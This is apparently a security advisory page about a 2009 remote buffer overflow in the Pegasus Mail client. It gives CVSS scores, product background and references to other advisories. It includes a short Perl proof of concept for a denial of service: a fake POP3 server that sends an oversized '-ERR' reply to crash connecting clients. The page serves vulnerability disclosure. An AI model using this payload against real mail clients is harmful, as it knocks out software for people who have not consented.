Pegasus Mail Client remote buffer overflow

2009-11-05 / 2009-11-06
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

############# Application: Pegasus Mail Client Platforms: Windows XP Professional SP2 Exploitation: remote BoF Date: 2009-10-06 Author: Francis Provencher (Protek Research Lab's) ############# 1) Introduction 2) Technical details 3) The Code (Only DoS) ############# =============== 1) Introduction =============== Pegasus Mail (PMail) is suitable for single or multiple users on stand-alone computers and for internal and Internet mail on local area networks. Pegasus Mail has minimal system requirements compared with competing products, for instance the installed program (excluding mailboxes) for version 4.51 requires only around 13.5 MB of hard drive space. Since Pegasus Mail does not make changes to the Windows registry or the system directory, it is suitable as a portable application for USB drives. Language packs are available for languages other than English. Some commentators have described Pegasus Mail as convoluted and cumbersome to configure, whereas others value Pegasus Mail for the features it offers. A key feature of Pegasus Mail is that it does not use the HTML layout engine that is installed with every Microsoft operating system since 1997: The ubiquity of the Microsoft engine, which is used not only by all Microsoft products but by numerous 3rd party products as well, makes it a frequent target of malware such as Melissa and ILOVEYOU. Mail clients such as Pegasus Mail that have their own HTML rendering engine are inherently immune to these security exploits. Pegasus Mail will also not execute automation commands (for example ActiveX or JavaScript) embedded in an e-mail, further reducing the chances of a security breach. (from Wikipedia website) ######################################################################## ############# ============================ 2) Technical details ============================ Pegasus Mail 4.51.(win32) Jun 23 2009 (Last Build) ############# =========== 3) The Code =========== Proof of concept DoS code; #!/usr/bin/perl use IO::Socket; $port = 110; $serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n"; $cli = $serv->accept() or die "Error: accept()\n"; $junk = "A" x 150000; $payload = "-ERR " . $junk . "\r\n"; # $cli->send($payload); close($cli); close($serv); ############# (PRL-2009-12)

References:

http://xforce.iss.net/xforce/xfdb/53933
http://www.vupen.com/exploits/Pegasus_Mail_POP3_Message_Handling_Remote_Buffer_Overflow_Exploit_3026233.php
http://www.vupen.com/english/advisories/2009/3026
http://www.securitytracker.com/id?1023075
http://www.securityfocus.com/bid/36797
http://www.securityfocus.com/archive/1/archive/1/507377/100/0/threaded
http://www.packetstormsecurity.org/0910-exploits/pegasusmc-dos.txt
http://secunia.com/advisories/37134
http://osvdb.org/59261


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top